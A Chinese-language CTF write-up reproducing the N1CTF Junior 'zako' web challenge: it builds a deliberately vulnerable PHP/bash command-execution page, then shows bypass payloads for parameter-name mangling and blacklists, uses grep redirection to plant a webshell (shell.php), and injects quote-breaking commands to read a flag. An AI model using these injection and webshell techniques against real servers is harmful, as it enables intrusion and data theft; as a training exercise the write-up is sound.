BUUCTF_第二届N1CTF Junior_zako复现

第二届N1CTF Junior_zako复现

参考:

wp参考:

题目wp:

N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)_n1ctf junion-CSDN博客

第二届 N1CTF Junior | 雲流のLowest World (c1oudfl0w0.github.io)

php非法传参:

谈一谈PHP中关于非法参数名传参问题_arr4y非法传参-CSDN博客

环境参考:

【Linux中shell命令】.sh文件种种操作-CSDN博客

环境搭建:

创建index.php:

image-20240211230203947

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

//something hide here
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));

$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd)>70) {
die("no, >70");
}
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){
die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

创建execute.sh:

image-20240211230134948

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/bin/bash

reject() {
echo "${1}"
exit 1
}

XXXCMD=$1

awk -v str="${XXXCMD}" '
BEGIN {
deny="`;&$(){}[]!@#$%^&*-";
for (i = 1; i <= length(str); i++) {
char = substr(str, i, 1);
for (x = 1; x < length(deny) + 1; x++) {
r = substr(deny, x, 1);
if (char == r) exit 1;
}
}
}
'

[ $? -ne 0 ] && reject "NOT ALLOW 1"

eval_cmd=$(echo "${XXXCMD}" | awk -F "|" '
BEGIN {
allows[1] = "ls";
allows[2] = "makabaka";
allows[3] = "whoareu";
allows[4] = "cut~no";
allows[5] = "grep";
allows[6] = "wc";
allows[7] = "杂鱼杂鱼";
allows[8] = "netstat.jpg";
allows[9] = "awsl";
allows[10] = "dmesg";
allows[11] = "xswl";
}{
num = 1;
for (i = 1; i <= NF; i++) {
for (x = 1; x <= length(allows); x++) {
cmpstr = substr($i, 1, length(allows[x]));
if (cmpstr == allows[x])
eval_cmd[num++] = $i;
}
}
}
END {
for (i = 1; i <= length(eval_cmd); i++) {
if (i != 1)
printf "| %s", eval_cmd[i];
else
printf "%s", eval_cmd[i];
}
}'
)

[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"

eval ${eval_cmd}

赋予所有用户对zako文件夹的所有权限:

1
chmod -R 777 /www/admin/TestForWeb/zako

image-20240212015024040

对execute.sh设置运行权限:

1
chmod +x ./execute.sh #使脚本具有执行权限

image-20240211230549528

可以进行运行!!!

创建flag文件在上一级文件夹中:

readflag:

1
south{y0u_a3e_w1l1!!!}

image-20240211231441817

访问我们的环境:

image-20240211231515563

测试环境:

1
2
php非法传参,将_变为[,
?_[secret.xswl.io=ls

image-20240211231710088

我们的环境搭建成功!!!

zako复现:

php非法传参:

1
当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

所以只要将其中一个_变为[,就可以进行传参,但是通过测试,发现字符串开头的_不能为[,但是第二个_可以用[,替换,可以得到内容回显(题目环境是php<8):

1
?_[secret.xswl.io=ls #一般先尝试一下ls可不可以

image-20240211232537082

获取execute.sh文件:

.sh文件直接访问时可以直接被网页下载获取,所以以后一些陌生或可疑文件在知道其目录的情况下,都可以进行访问一下,看看能不能进行下载获取

image-20240211232914394

image-20240211233257819

下载获取到的execute.sh:

将其后缀名去掉以后获取到完整的代码

image-20240211233451352

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/bin/bash

# 函数定义
# ${1}为调用该函数时,传给该函数的第一个参数
reject() {
# 输出调用该函数时传入的第一个参数的值
echo "${1}"
# 退出当前脚本执行<=>exit
exit 1
}

# $1表示执行当前脚本,传入的第一个参数
XXXCMD=$1

awk -v str="${XXXCMD}" '
# 所要进行执行的脚本
BEGIN {
# 定义黑名单字符
deny="`;&$(){}[]!@#$%^&*-";
for (i = 1; i <= length(str); i++) {
# 获取str字符串中的指定位置字符
char = substr(str, i, 1);
for (x = 1; x < length(deny) + 1; x++) {
# 获取deny字符串指定位置的字符
r = substr(deny, x, 1);
# 判断用户输入的字符串中是否存在deny中的字符
# 如果有,则退出程序
if (char == r) exit 1;
}
}
}
'
# $?存储了以上代码的退出码,判断是否为0,如果不为0,则为真,&&继续执行左边
# 如果退出码为0,则输出假,&&不继续执行左边
# reject "NOT ALLOW 1",向reject函数传"NOT ALLOW 1"字符串参数
[ $? -ne 0 ] && reject "NOT ALLOW 1"

# echo "${XXXCMD}":将我们输入的cmd(即XXXCMD)的内容输出给awk所指定的脚本中
# |:管道符可以依次执行从左往右的命令,也可以将左边命令的内容通过echo输出给右边命令中
# awk -F "|":将获得的cmd内容以|进行分割传输给后面的脚本模块
# $()中的整个代码执行的结果赋值给eval_cmd参数
eval_cmd=$(echo "${XXXCMD}" | awk -F "|" '
# 开始模块
BEGIN {
# 白名单内容
allows[1] = "ls";# 展示指定目录的文件
allows[2] = "makabaka";
allows[3] = "whoareu";
allows[4] = "cut~no";
allows[5] = "grep";# 搜索指定文件内容,输出匹配的字符串所在行的内容
allows[6] = "wc";# 查看文件行数情况,不可以读取内容
allows[7] = "杂鱼杂鱼";
allows[8] = "netstat.jpg";
allows[9] = "awsl";
allows[10] = "dmesg";
allows[11] = "xswl";
}{
# 这个模块的作用就是判断我们的命令是否在白名单中,在白名单中则可以被存储到eval_cmd数组中
num = 1;
# NF 表示字段数量,即输入脚本的字段的数量
# $i表示输入的第i个参数的值,这里字符串被|分割为各个字段输入,所以就表示第i个字段的值
for (i = 1; i <= NF; i++) {
for (x = 1; x <= length(allows); x++) {
cmpstr = substr($i, 1, length(allows[x]));
if (cmpstr == allows[x])
eval_cmd[num++] = $i;
}
}
}
# 结束模块
END {
# 由于模块运行结束才会调用$()进行赋值,所以当最后运行完毕后为:命令1| 命令2| 命令3| ......
# 然后将最终的打印结果赋值给eval_cmd
for (i = 1; i <= length(eval_cmd); i++) {
if (i != 1)
# 输出第一个之后的命令且带上管道符,保证允许的命令都能够执行
printf "| %s", eval_cmd[i];
else
# 输出第一个命令
printf "%s", eval_cmd[i];
}
}'
)

# 判断我们传入的参数(cmd)是否为空,为空则调用reject "NOT ALLOW 2"
[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"

# 执行eval_cmd命令
eval ${eval_cmd}

index.php代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

//something hide here


$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd) > 70) {
die("no, > 70");
}
// 这里的else内容丢失了,根据提示something hide here
// 说明该代码部分被隐藏了
die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

网页上显示的代码内容是不完整的,所以我们需要获取源码才能知道过滤的内容

获取完整的index.php代码:

利用wc查看index.php的文件行数:

1
?_[secret.xswl.io=wc index.php

image-20240212010447345

我们输入的内容有过滤,可以用?替换index.php中的一个字符尝试绕过:

1
?_[secret.xswl.io=wc inde?.ph?

image-20240212010716400

得到index.php总共有16行数据

image-20240212011045979

网页实际显示的行数为14行,少了两行。

使用grep获取缺失行的内容:

1
2
?_[secret.xswl.io=grep -A 5 "}" inde?.ph?
获取匹配行及其后面的5行内容

image-20240212011727307

经过测试”-“被过滤了。

直接使用匹配字符串获取行内容:

由于缺少的是else模块内容,所以直接匹配else

1
?_[secret.xswl.io=grep "else" inde?.ph?

image-20240212012022041

没有回显内容。

知识点介绍:

php隐藏显示代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));

这段代码的作用是将当前文件的内容读取并使用 grep 命令进行筛选,然后使用 highlight_string 函数对筛选后的内容进行语法高亮。

让我们逐步解析这段代码:

__FILE__ 是一个魔术常量,表示当前文件的绝对路径和文件名。

cat __FILE__ 使用 cat 命令读取当前文件的内容,并通过管道 | 将其传递给下一个命令。

grep -v preg_match 是第一个 grep 命令,使用 -v 选项反转匹配,即只输出不匹配 "preg_match" 的行。这可能是为了排除当前文件中包含 "preg_match" 的行。

grep -v highlight 是第二个 grep 命令,同样使用 -v 选项反转匹配,即只输出不匹配 "highlight" 的行。这可能是为了排除当前文件中包含 "highlight" 的行。

最后,shell_exec 函数将整个命令串联起来,并执行命令。命令的结果将作为字符串返回。

highlight_string 函数接受一个字符串参数,将其中的 PHP 代码进行语法高亮处理,并将结果输出到浏览器或终端。

总结起来,这段代码的作用是读取当前文件的内容,排除包含 "preg_match" 和 "highlight" 的行,然后对剩余的代码进行语法高亮处理,并将结果输出到设备上。这可能是用于展示当前文件的代码,并在其中突出显示不包含特定函数的部分。

需要注意的是,直接执行用户输入的命令可能存在安全风险,因此在实际应用中应该谨慎使用,并确保输入的命令是可信的。

所以我们直接匹配highlight_string去获取被隐藏的匹配字符串。

获取highlight_string代码:

1
?_[secret.xswl.io=grep "highl" inde?.ph?

image-20240212012613893

1
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight")); 

隐藏的是preg_match和highlight所在行。

匹配preg_match所在行内容:

1
?_[secret.xswl.io=grep "preg" inde?.ph?

image-20240212012755215

1
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight")); if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){ 

缺失的行内容:

1
2
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight")); 
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){

完整的index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

//something hide here
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));
$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd)>70) {
die("no, >70");
}
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){
die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

使用grep直接获取文件完整内容:

1
?_[secret.xswl.io=grep "" inde?.ph?

image-20240212021144189

image-20240212021215290

使用grep创建新文件绕过字符过滤(构造木马文件):

分析:

1
由于grep可以匹配文件的行内容,同时也可以通过>>输出到新文件中,所以如果我们将index.php中我们想要的行内容输出到我们新创建的文件中,这样就可以直接避开preg_match()函数。

我们需要的行内容:

1
2
3
<?php
$cmd = $_REQUEST["__secret.xswl.io"];
system("./execute.sh '".$cmd."'");

grep匹配行内容输出到我们在网页当前目录创建的shell.php文件中:

payload1:

shell.php不存在时,命令行会自动创建

1
?_[secret.xswl.io=grep "<?php" inde?.ph? >> shell.php

image-20240212013634864

payload2:
1
?_[secret.xswl.io=grep "REQUEST" inde?.ph? >> shell.php

image-20240212013811611

image-20240212015115993

payload3:
1
?_[secret.xswl.io=grep "system" inde?.ph? >> shell.php

image-20240212013850597

image-20240212015159406

访问shell.php:

image-20240212015224616

成功访问创建的木马文件!!!

获取网页指定目录信息:

1
shell.php?_[secret.xswl.io=ls ../

image-20240212015414066

获取readflag的文件内容:

payload1:

1
2
shell.php?_[secret.xswl.io=ls ../';cat ../readflag'
shell.php?_[secret.xswl.io=ls'|../readflag'

image-20240212020140952

payload2:

1
shell.php?_[secret.xswl.io=grep "" ../readflag

image-20240212020614372

image-20240212020420020


BUUCTF_第二届N1CTF Junior_zako复现
http://example.com/2024/02/18/2024-02-18-第二届N1CTF Junior_zako复现/
作者
South
发布于
2024年2月18日
许可协议